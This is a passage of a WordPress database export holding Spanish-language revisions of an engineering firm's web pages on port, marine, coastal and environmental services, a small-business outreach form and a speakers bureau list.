class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">gestión de la construcción</h1>\r\nMoffatt & Nichol proporciona servicios de supervisión e inspección de la construcción; la firma tiene un grupo central de veteranos profesionales de la construcción con la experiencia para actuar como una extensión del personal de nuestros clientes para apoyar toda la diversidad de situaciones con que se pueden encontrar durante la ejecución de los proyectos. Creemos que la gestión de la construcción no comienza con el aviso al contratista para proceder, sino con el planeamiento inicial del programa, el desarrollo del diseño del proyecto, y la estrategia completa para la factibilidad de la construcción. Nuestros inspectores han proporcionado una pauta permanente con respecto de las operaciones y el mantenimiento, una respuesta rápida a los problemas de ingeniería durante la construcción y una supervisión de la gestión y del control de la calidad de la construcción, y garantizan que la construcción se realice estrictamente de acuerdo con los planos de diseño y las especificaciones técnicas. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/marine-structure.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">estructuras marítimas</h1>\r\nComo una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. La firma tiene una reputación internacional por proporcionar soluciones innovadoras a la industria portuaria y marítima. Desde la llegada de la contenedorización hasta las complejas tendencias del movimiento de mercancías y las regulaciones medioambientales de hoy en día, la firma ofrece capacidades integradas internas para apoyar prácticamente cualquier tarea portuaria, marítima o de transporte de carga en todo el mundo. Desde sus oficinas y centros especializados en Norteamérica, Europa y América latina, Moffatt & Nichol puede hacerse cargo de un proyecto desde el análisis conceptual y estudio de factibilidad hasta el planeamiento, el diseño y la construcción marítima. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-security.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">seguridad portuaria</h1>\r\n Moffatt & Nichol es un líder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marítima. De acuerdo con iniciativas de Seguridad Nacional de los EE.UU., la firma está mejorando activamente la conciencia del dominio portuario y marítimo al proporcionar sistemas de seguridad avanzados. La clave para proporcionar soluciones correctas es equilibrar la seguridad personal y la protección de infraestructura crítica con la continuidad del puerto y las operaciones portuarias comerciales. En consecuencia, Moffatt & Nichol desarrolla e implementa enfoques novedosos que unifican los objetivos de seguridad con el flujo eficiente del comercio. Nuestras soluciones integrales relacionadas con la seguridad son adaptadas para las partes interesadas regionales, autoridades portuarias, operadores de terminales y personal de respuesta relacionado con la seguridad en todo el mundo. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-automation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">automatización portuaria</h1>\r\nCon décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas en todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y diseño de puertos, terminales marítimas y la compleja infraestructura de apoyo al movimiento de carga terrestre y de contenedores hoy en día.\r\n \r\nEl desarrollo de una terminal de contenedores automatizada partiendo desde cero es una posibilidad desafiante. Requiere una comprensión de aspectos críticos tales como espacio y logística disponibles, configuraciones del terreno, selección del equipo, interfaz de los sistemas de operación, políticas y regulaciones gubernamentales, prácticas laborales, restricciones medioambientales y limitaciones de capacidad. El equipo de profesionales de Moffatt & Nichol incluye a importantes expertos de la industria que tienen una experiencia inigualable en el desarrollo de terminales de contenedores. Ellos aplican su experiencia y conocimientos para desarrollar terminales de contenedores modernas, flexibles y avanzadas que resistirán el paso del tiempo.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fery-terminals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de instalaciones relacionadas con transbordadores en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de las terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a los miembros de la comunidad marítima, el sector gubernamental, el sector de logística intermodal y la comunidad inversora por igual.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/bulk-terminals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">terminales de graneles</h1>\r\nMoffatt & Nichol ofrece a sus clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel. Nuestras especializaciones incluyen el desarrollo de análisis financieros, estudios de factibilidad, planes maestros, documentos de diseño en detalle y la gestión y apoyo de la construcción para una variedad de instalaciones como atracaderos, espigones y áreas de carga y descarga hasta sistemas de almacenamiento y transferencia, así como redes de transporte interior. Nuestra cartera de proyectos incluye terminales e instalaciones que manejan carbón, menas, concentrados minerales, fertilizantes, granos y otros productos agrícolas, agregados de construcción, maderas, graneles líquidos y otros materiales a granel. Al combinar nuestra experiencia marítima con el conocimiento específico de la tecnología y el equipo de manipulación de graneles, Moffatt & Nichol puede dar apoyo a nuestros clientes con la infraestructura y las operaciones más eficientes, al mismo tiempo que maximizamos su funcionamiento. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/gate-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">planeamiento y diseño de compuertas</h1>\r\nLa gran experiencia de Moffatt & Nichol en seguridad de terminales marítimas y diseño de compuertas permite que nuestro equipo entienda completamente los problemas asociados con los proyectos de compuertas de seguridad. Aunque haya muchas firmas que pueden proporcionar servicios de diseño de compuertas, solo hay unas cuantas que pueden jactarse de la combinación de experiencia en diseño de compuertas, familiaridad con protocolos de seguridad actuales y conocimiento de los estándares y especificaciones privados y gubernamentales de construcción. Moffatt & Nichol goza de reputación mundial por la amplitud y profundidad de su experiencia con proyectos de compuertas y de seguridad.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fedring.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">análisis de defensas</h1>\r\nMoffatt & Nichol ha completado muchas evaluaciones y diseños de sistemas de defensa para muelles, dársenas, muros de retención, defensas de puentes, etc. para diferentes clientes que incluyen la Guardia costera de EE.UU., la Marina de EE.UU., autoridades portuarias y compañías navieras privadas. Nuestra especialización en sistemas de amarre y sistemas de defensa hizo que Moffatt & Nichol sea elegido para escribir los manuales de diseño de la Marina de EE.UU. para los amarres fijos (NAVFAC DM 26.4) y los amarres de flota (NAVFAC DM 26.5). Moffatt & Nichol realiza rutinariamente análisis de amarres y atraques estáticos y dinámicos para toda clase de amarres y tamaños de buques como parte de nuestra práctica portuaria.\r\n      \r\nMoffatt & Nichol reconoce que el sistema de defensa es la interfaz entre la nave y las instalaciones en la costa. El sistema de defensa está diseñado para actuar como un amortiguador durante el atraque de una nave absorbiendo o disipando la energía del impacto de la nave sin causar daños permanentes a la nave ni a las instalaciones en la costa. Después de atracar y amarrar la nave a las instalaciones de la costa, el sistema de defensa continúa proporcionando la interfaz entre la nave y la costa y transmite las cargas medioambientales (viento, olas y corrientes) en la nave a la estructura. La identificación de la magnitud y dirección de las fuerzas que se utilizarán en el diseño del sistema de defensa es crítica para el funcionamiento correcto del sistema.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/vesel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">estudios de maniobras y tráfico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de Simulación para Modelación Alternativa (SLAM, por sus siglas en inglés). Este modelo también incluye un módulo de gráficos que proporciona una visualización animada en pantalla de los resultados. Pueden hacerse análisis del tráfico de buques en puertos, vías navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilización de un puerto. Moffatt & Nichol ha desarrollado un modelo avanzado de tráfico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el tráfico de naves comerciales en puerto hasta operaciones de tráfico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Servicios portuarios','','inherit','open','open','','357-revision-6','','','2013-01-09 06:23:06','2013-01-09 06:23:06','',357,'http://moffattnichol.com/spanish/357-revision-6/',0,'revision','',0),(2768,1,'2012-06-15 09:15:31','2012-06-15 09:15:31','<div class=\"content_faq\">\r\n<div class=\"partnership_left\">\r\n<h1>participación de pequeñas empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeñas compañías calificadas para complementar nuestro conocimiento técnico interno. \r\n\r\nMediante los programas de participación y marketing, identificamos a pequeñas compañías calificadas en todo Estados Unidos con un conocimiento técnico que se ajusta a nuestro segmento de mercado para una posible asociación o subcontratación en programas gubernamentales.\r\n\r\n\r\n\r\n<strong style=\"line-height:30px;\">Postulación al programa de la pequeña empresa</strong> Invitamos a los participantes del Programa de la pequeña empresa con experiencia de trabajo en contratos gubernamentales federales, estatales y locales y que   Certificado como uno de los tipos de negocios indicados a continuación.&nbsp;\r\n\r\n<div class=\"lft_margin\">\r\n              - Pequeña empresa<br />\r\n                - Pequeña empresa en desventaja <br />\r\n                - Pequeña empresa en zona Comercial Históricamente Subutilizada (HUB, por sus siglas en inglés)  <br />\r\n                - Pequeña empresa de propiedad de una mujer<br />\r\n                - Pequeña empresa de propiedad de un veterano de guerra<br />\r\n                - Pequeña empresa de propiedad de veterano de guerra discapacitado <br />\r\n                &nbsp; en servicio<br />\r\n                - Con certificación 8 (a) de pequeña empresa <br />\r\n                - Otro \r\n            </div>\r\n </div>\r\n          <div class=\"partnership_right\">\r\n            <h4>postulación de pequeña empresa</h4>\r\n            <div class=\"txt_boxbg\">\r\n             <span>[contact-form-7 id=\"2381\" title=\"Small Business Outreach\"]</span>\r\n            </div>\r\n <div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Participación de pequeñas empresas','','inherit','open','open','','69-revision-7','','','2012-06-15 09:15:31','2012-06-15 09:15:31','',69,'http://moffattnichol.com/spanish/69-revision-7/',0,'revision','',0),(2769,1,'2013-01-09 06:26:17','2013-01-09 06:26:17','<div class=\"content_faq\">\r\n<div class=\"partnership_left\">\r\n<h1>participación de pequeñas empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeñas compañías calificadas para complementar nuestro conocimiento técnico interno. \r\n\r\nMediante los programas de participación y marketing, identificamos a pequeñas compañías calificadas en todo Estados Unidos con un conocimiento técnico que se ajusta a nuestro segmento de mercado para una posible asociación o subcontratación en programas gubernamentales.\r\n\r\n\r\n\r\n<strong style=\"line-height:14px; float:left; margin-bottom:10px;\">Postulación al programa de la pequeña empresa</strong>\r\nInvitamos a los participantes del Programa de la pequeña empresa con experiencia de trabajo en contratos gubernamentales federales, estatales y locales y que   Certificado como uno de los tipos de negocios indicados a continuación.&nbsp;\r\n\r\n<div class=\"lft_margin\">\r\n              - Pequeña empresa<br />\r\n                - Pequeña empresa en desventaja <br />\r\n                - Pequeña empresa en zona Comercial Históricamente Subutilizada (HUB, por sus siglas en inglés)  <br />\r\n                - Pequeña empresa de propiedad de una mujer<br />\r\n                - Pequeña empresa de propiedad de un veterano de guerra<br />\r\n                - Pequeña empresa de propiedad de veterano de guerra discapacitado <br />\r\n                &nbsp; en servicio<br />\r\n                - Con certificación 8 (a) de pequeña empresa <br />\r\n                - Otro \r\n            </div>\r\n </div>\r\n          <div class=\"partnership_right\">\r\n            <h4>postulación de pequeña empresa</h4>\r\n            <div class=\"txt_boxbg\">\r\n             <span>[contact-form-7 id=\"2381\" title=\"Small Business Outreach\"]</span>\r\n            </div>\r\n <div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Participación de pequeñas empresas','','inherit','open','open','','69-revision-8','','','2013-01-09 06:26:17','2013-01-09 06:26:17','',69,'http://moffattnichol.com/spanish/69-revision-8/',0,'revision','',0),(2770,1,'2012-11-12 07:17:13','2012-11-12 07:17:13','<div class=\"content-speakers\">\r\n          <h1>oficina de oradores</h1>\r\n          <div class=\"spekers-para-new\">Los profesionales de Moffatt & Nichol son líderes en sus respectivos campos y se han distinguido -y han distinguido a la firma, con sus numerosos logros. Su experiencia profesional y su deseo de compartir sus conocimientos y su especialización, además de su probada habilidad para hablar en público, les han ganado un lugar en nuestra Oficina de oradores.&nbsp; &nbsp; Nuestra lista incluye a especialistas/expertos en las siguientes áreas:</div>\r\n          <div class=\"speakers-left\">\r\n             <div class=\"spekers-divider-line-right\">Puertos y terminales marítimas:</div>\r\n             <p class=\"black\">\r\n             Finanzas y desarrollo portuarios Planeamiento maestro portuario y de terminales Seguridad portuaria Mitigación para impacto de grandes proyectos de desarrollo portuario Planeamiento y automatización de terminales de contenedores Desarrollo portuario internacional Diseño de pavimentos portuarios Terminales ecológicas \r\n            </p>\r\n             &nbsp;\r\n            <div class=\"spekers-divider-line-right\">Transporte</div>\r\n                <p class=\"black\">\r\nPlaneamiento, obtención de fondos y diseño de transporte multimodal Planeamiento, obtención de fondos y diseño de carga multimodal Diseño antisísmico Diseño y análisis de puentes Terminales de graneles Ingeniería de eventos extremos Análisis y protección de tsunamis Defensas de puentes y estructuras de puentes Planeamiento de transporte y diseño de calzadas Tendencias en el movimiento y embarque de mercancías Terminales de transbordadores \r\n            </p>\r\n            &nbsp;\r\n             <div class=\"spekers-divider-line-right\">Energía</div>\r\n                <p class=\"black\">\r\nTerminales marítimas petroleras Terminales de carga líquida a granel Terminales de GNL Amarres de boya simple y múltiple Diseño de tuberías submarinas Análisis de buques de paso Análisis y diseño de amarres y atraques Cimentaciones de turbinas eólicas costa afuera Puertos de acceso a parques eólicos costa afuera Almacenamiento de energía de aire comprimido del océano Infraestructura de frentes costeros de la Marina Infraestructura de frentes costeros de la Guardia Costera de Estados Unidos (USCG, por sus siglas en inglés) Tendencias en brazos de carga de GNL y graneles líquidos \r\n            </p>\r\n            \r\n          </div>\r\n          \r\n          \r\n          <div class=\"speakers-right\">\r\n          <div class=\"spekers-divider-line-left\">Recursos costeros, medioambientales e hídricos</div>\r\n            <p class=\"black\">\r\nAplicaciones beneficiosas y desecho de material dragado Ingeniería de recursos hídricos Ingeniería y modelación costeras Gestión de aguas pluviales costeras Gestión y planeamiento de la zona costera Aumento del nivel del mar y Cambio climático Vulnerabilidad de la infraestructura costera Sedimentos contaminados Gestión de la calidad del aire Estructuras de control de inundaciones Restauración del hábitat\r\n            </p>\r\n             &nbsp;\r\n <div class=\"spekers-divider-line-left\">Frentes de mar urbanos y puertos deportivos</div>\r\n            <p class=\"black\">\r\nDiseño de puertos deportivos y frentes de mar urbanos Diseño de estructuras marítimas Desarrollo de centros turísticos Recuperación de tierras\r\n            </p>\r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Inspección y rehabilitación</div>\r\n            <p class=\"black\">\r\nInspección y rehabilitación de estructuras marítimas Ingeniería de vida de servicio Investigaciones del frente costero Sistemas de gestión del mantenimiento y Sistemas de gestión de activos Rehabilitación Muestreo y pruebas\r\n            </p> \r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Servicios consultivos comerciales globales\r\n</div>\r\n            <p class=\"black\">\r\nSelección de ubicación de inmuebles industriales Análisis y pronóstico de información comercial Tendencias en la gestión de la cadena de suministro Asociaciones público-privadas La economía y las tendencias globales Evaluación y gestión de riesgos\r\n            </p>                               \r\n          </div>\r\n          <div class=\"clear\"></div>\r\n          <span class=\"speakers-bottam\">Escuche a nuestros oradores en las conferencias de la industria o <a title=\"Haga clic aquÃ\" href=\"mailto:info@moffattnichol.com\">Haga clic aquí </a>y comuníquese con nosotros si desea más información.</span> </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Oficina de oradores','','inherit','open','open','','80-revision-3','','','2012-11-12 07:17:13','2012-11-12 07:17:13','',80,'http://moffattnichol.com/spanish/80-revision-3/',0,'revision','',0),(2771,1,'2013-01-09 06:37:49','2013-01-09 06:37:49','<div class=\"content-speakers\">\r\n          <h1>oficina de oradores</h1>\r\n          <div class=\"spekers-para-new\">Los profesionales de Moffatt & Nichol son líderes en sus respectivos campos y se han distinguido -y han distinguido a la firma, con sus numerosos logros. Su experiencia profesional y su deseo de compartir sus conocimientos y su especialización, además de su probada habilidad para hablar en público, les han ganado un lugar en nuestra Oficina de oradores.&nbsp; &nbsp; Nuestra lista incluye a especialistas/expertos en las siguientes áreas:</div>\r\n          <div class=\"speakers-left\">\r\n             <div class=\"spekers-divider-line-right\">Puertos y terminales marítimas:</div>\r\n             <p class=\"black\">\r\n             Finanzas y desarrollo portuarios\r\n             Planeamiento maestro portuario y de terminales \r\n             Seguridad portuaria \r\n             Mitigación para impacto de grandes proyectos de desarrollo portuario \r\n             Planeamiento y automatización de terminales de contenedores \r\n             Desarrollo portuario internacional Diseño de pavimentos portuarios \r\n             Terminales ecológicas \r\n            </p>\r\n             &nbsp;\r\n            <div class=\"spekers-divider-line-right\">Transporte</div>\r\n                <p class=\"black\">\r\nPlaneamiento, obtención de fondos y diseño de transporte multimodal \r\nPlaneamiento, obtención de fondos y diseño de carga multimodal \r\nDiseño antisísmico \r\nDiseño y análisis de puentes \r\nTerminales de graneles Ingeniería de eventos extremos \r\nAnálisis y protección de tsunamis \r\nDefensas de puentes y estructuras de puentes Planeamiento de transporte y diseño de calzadas Tendencias en el movimiento y embarque de mercancías \r\nTerminales de transbordadores \r\n            </p>\r\n            &nbsp;\r\n             <div class=\"spekers-divider-line-right\">Energía</div>\r\n                <p class=\"black\">\r\nTerminales marítimas petroleras \r\nTerminales de carga líquida a granel \r\nTerminales de GNL Amarres de boya simple y múltiple \r\nDiseño de tuberías submarinas \r\nAnálisis de buques de paso \r\nAnálisis y diseño de amarres y atraques \r\nCimentaciones de turbinas eólicas costa afuera \r\nPuertos de acceso a parques eólicos costa afuera \r\nAlmacenamiento de energía de aire comprimido del océano Infraestructura de frentes costeros de la Marina Infraestructura de frentes costeros de la Guardia Costera de Estados Unidos (USCG, por sus siglas en inglés) \r\nTendencias en brazos de carga de GNL y graneles líquidos \r\n            </p>\r\n            \r\n          </div>\r\n          \r\n          \r\n          <div class=\"speakers-right\">\r\n          <div class=\"spekers-divider-line-left\">Recursos costeros, medioambientales e hídricos</div>\r\n            <p class=\"black\">\r\nAplicaciones beneficiosas y desecho de material dragado \r\nIngeniería de recursos hídricos \r\nIngeniería y modelación costeras \r\nGestión de aguas pluviales costeras \r\nGestión y planeamiento de la zona costera \r\nAumento del nivel del mar y Cambio climático \r\nVulnerabilidad de la infraestructura costera \r\nSedimentos contaminados \r\nGestión de la calidad del aire \r\nEstructuras de control de inundaciones \r\nRestauración del hábitat\r\n            </p>\r\n             &nbsp;\r\n <div class=\"spekers-divider-line-left\">Frentes de mar urbanos y puertos deportivos</div>\r\n            <p class=\"black\">\r\nDiseño de puertos deportivos y frentes de mar urbanos \r\nDiseño de estructuras marítimas Desarrollo de centros turísticos \r\nRecuperación de tierras\r\n            </p>\r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Inspección y rehabilitación</div>\r\n            <p class=\"black\">\r\nInspección y rehabilitación de estructuras marítimas \r\nIngeniería de vida de servicio Investigaciones del frente costero \r\nSistemas de gestión del mantenimiento y Sistemas de gestión de activos \r\nRehabilitación \r\nMuestreo y pruebas\r\n            </p> \r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Servicios consultivos comerciales globales\r\n</div>\r\n            <p class=\"black\">\r\nSelección de ubicación de inmuebles industriales Análisis y pronóstico de información comercial Tendencias en la gestión de la cadena de suministro \r\nAsociaciones público-privadas \r\nLa economía y las tendencias globales \r\nEvaluación y gestión de riesgos\r\n            </p>                               \r\n          </div>\r\n          <div class=\"clear\"></div>\r\n          <span class=\"speakers-bottam\">Escuche a nuestros oradores en las conferencias de la industria o <a title=\"Haga clic aquÃ\" href=\"mailto:info@moffattnichol.com\">Haga clic aquí </a>y comuníquese con nosotros si desea más información.</span> </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Oficina de oradores','','inherit','open','open','','80-revision-4','','','2013-01-09 06:37:49','2013-01-09 06:37:49','',80,'http://moffattnichol.com/spanish/80-revision-4/',0,'revision','',0),(2772,1,'2013-01-09 05:24:34','2013-01-09 05:24:34','<div class=\"content_faq\">\r\n  <h3>servicios de recursos costeros, medioambientales e hídricos</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel1.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">modelación numérica de procesos fluviales, estuarinos y costeros</h1>\r\nDado el énfasis en preservar o mejorar el medioambiente, uno de los aspectos más críticos que afectan la aprobación reglamentaria de los nuevos proyectos es la evaluación de su impacto en el medioambiente existente. La participación de Moffatt & Nichol en estas evaluaciones de impacto usualmente requiere nuestras capacidades para analizar procesos fluviales, estuarinos y costeros a través del uso de modelos numéricos avanzados para estudiar los efectos con y sin el proyecto sobre la hidrodinámica (nivel del agua, olas, corrientes, inundaciones), transporte de sedimentos, erosión y deposición y calidad del agua. Tenemos un gran conocimiento de los procesos físicos activos en estas ubicaciones, adquirido mediante la realización de centenares de proyectos afectados, y con la ayuda de investigaciones y simulaciones de modelos numéricos. Moffatt & Nichol ha completado centenares de estudios de modelación, usando varias plataformas de modelación comerciales y de dominio público, en todo el mundo; esto incluye haber realizado análisis de la mayor parte de los principales estuarios y bahías costeras a lo largo de la costas oriental, del golfo y occidental de los Estados Unidos. Muchos de estos estudios de modelación han sido objeto de una rigurosa revisión y aceptación por las partes interesadas relacionadas con los proyectos, incluyendo la comunidad medioambiental y reguladora, como parte del proceso de revisión medioambiental.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">transporte de sedimentos</h1>\r\nEl análisis del transporte de sedimentos de Moffatt & Nichol examina los cambios en el equilibrio de un medioambiente costero que resulta típicamente de acontecimientos naturales (por ejemplo, tormentas) o artificiales (por ejemplo, dragados) que vuelven a colocar el sedimento. Estos análisis son utilizados para predecir los resultados de un acontecimiento o los impactos potenciales de un proyecto mediante el examen de la evolución física del área después de dicho acontecimiento. Los mecanismos físicos examinados incluyen la erosión o deposición como resultado de corrientes existentes o cambios a las corrientes, olas, mareas o a los parámetros del agua (como la densidad, temperatura o composición).\r\n\r\nPara examinar el transporte de sedimentos, la erosión y la deposición, Moffatt & Nichol utiliza métodos analíticos eficientes y comprobados, desarrollados en forma interna, así como sofisticados modelos numéricos comerciales y de dominio público. Moffatt & Nichol ha aplicado estos métodos extensamente en todo el mundo para proyectos de mejoras o daños de riberas y puertos, incluyendo algunos de los mayores proyectos de profundización de canales emprendidos en los Estados Unidos (como el estudio de profundización del puerto de Nueva York/Nueva Jersey).\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/ecosystem.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">restauración del ecosistema</h1>\r\nEn la relativamente nueva era de toma de conciencia del ecosistema, Moffatt & Nichol proporciona frecuentemente servicios de planeamiento, científicos y de ingeniería para proyectos que implican la conservación, mejora o restauración. A menudo, dichos proyectos son componentes de mitigación que permiten que se desarrollen proyectos más grandes que, como tales, están sujetos a mayor escrutinio debido a la participación de los organismos reguladores. Estos componentes usualmente aumentan el número de partes interesadas, incrementan la visibilidad de un proyecto y pueden necesitar una gran coordinación entre dichas partes interesadas: el público, los organismos gubernamentales y las organizaciones no gubernamentales. \r\n\r\nPara dichos proyectos, las estrategias de mejora con frecuencia implican la modificación de los parámetros del agua en el ecosistema (por ejemplo, cambiando el flujo entrante o la distribución de agua dulce o salada), proporcionando ubicaciones/regímenes mejorados para la flora y fauna y protegiendo dichas mejoras contra los cambios adversos (como la estabilización de riberas). Habiendo tratado cada uno de estos aspectos en muchos proyectos de restauración exitosa, Moffatt & Nichol ofrece su experimentado personal con una sólida trayectoria de éxito en proporcionar planeamiento, modelación numérica, gestión de autorizaciones, ingeniería, diseño, servicios de construcción, participación ciudadana y supervisión de proyectos de restauración del ecosistema.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/regionalsend.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">gestión regional de la arena</h1>\r\nHistóricamente, los proyectos de mejora de riberas fueron planeados y diseñados caso por caso, independientemente de sus impactos potenciales en las riberas vecinas o en todo el sistema del litoral. Dichos proyectos han sido considerados más recientemente sobre una base regional, particularmente en el caso de proyectos relacionados con la colocación de arena. Como parte del planeamiento de dichos proyectos, Moffatt & Nichol ha proporcionado a organismos federales, estatales y locales servicios que han incluido la participación de las partes interesadas y de la ciudadanía, la modelación del transporte de sedimentos, análisis del cambio de la ribera y otros estudios integrales de toda la zona del litoral, a fin de ayudarles a manejar los sedimentos costeros como un recurso regional o para coordinar esfuerzos de protección de la ribera entre comunidades costeras vecinas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img 